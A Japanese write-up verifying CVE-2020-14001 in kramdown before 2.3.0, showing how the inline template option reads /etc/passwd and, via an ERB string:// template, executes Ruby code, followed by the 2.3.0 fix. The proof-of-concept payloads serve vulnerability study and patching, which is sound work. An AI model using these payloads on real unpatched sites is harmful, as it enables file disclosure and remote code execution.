概要

バージョン2.3.0より前のkramdownでは、意図しないファイルの読み込みやRubyコードの実行が可能である。

kramdown

markdownからhtmlを生成してくれるgem、GitHub pages(jekyll)等でも使われている

動作

$ cat 2020-08-20-CVE-2020-14001.md
# CVE-2020-14001の検証

## 概要
バージョン2.3.0より前のkramdownでは、意図しないファイルの読み込みやRubyコードの実行が可能である。

## kramdown
markdownからhtmlを生成してくれるgem、GitHub pages(jekyll)等でも使われている
~~~ snip ~~~

$ kramdown 2020-08-20-CVE-2020-14001.md
<h1 id="cve-2020-14001">CVE-2020-14001の検証</h1>

<h2 id="section">概要</h2>
<p>バージョン2.3.0より前のkramdownでは、意図しないファイ ルの読み込みやRubyコードの実行が可能である。</p>

<h2 id="kramdown">kramdown</h2>
<p>markdownからhtmlを生成してくれるgem、GitHub pages(jekyll)等でも使われている</p>
~~~ snip ~~~

脆弱性

kramdownにはインラインでオプションを書ける機能がある。

参考

$ cat option.md
{::options auto_ids="false"}

# A header without an ID
$ kramdown option.md

<h1>A header without an ID</h1>

2.3.0までのバージョンでは、インラインでのtempleteオプションの指定がでデフォルトで可能だった。

名前の通りmarkdownのテンプレートを読み込む機能であったが、ここで任意のファイルが指定できる。

# cat template.md
{::options template="/etc/passwd"}
# kramdown template.md
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
~~~ snip ~~~

さらに、同じようにtemplateオプションを利用してRubyコードの埋め込みが可能であった。

root@de896f6d3391:~# kramdown --version
2.2.1
root@de896f6d3391:~# cat poc.md
# CVE-2020-14001_PoC

{::options template="string://<%= puts 'Hacked!'%>" /}
root@de896f6d3391:~# kramdown poc.md
Hacked!

修正

2.3.0へのアップデートで、インラインでのtemplateオプションは無効化された。

$ kramdown --version
2.3.0
$ kramdown option.md

<h1>A header without an ID</h1>

Warning: Option template may not be set inline

Warning: Option template may not be set inline

参考

https://nvd.nist.gov/vuln/detail/CVE-2020-14001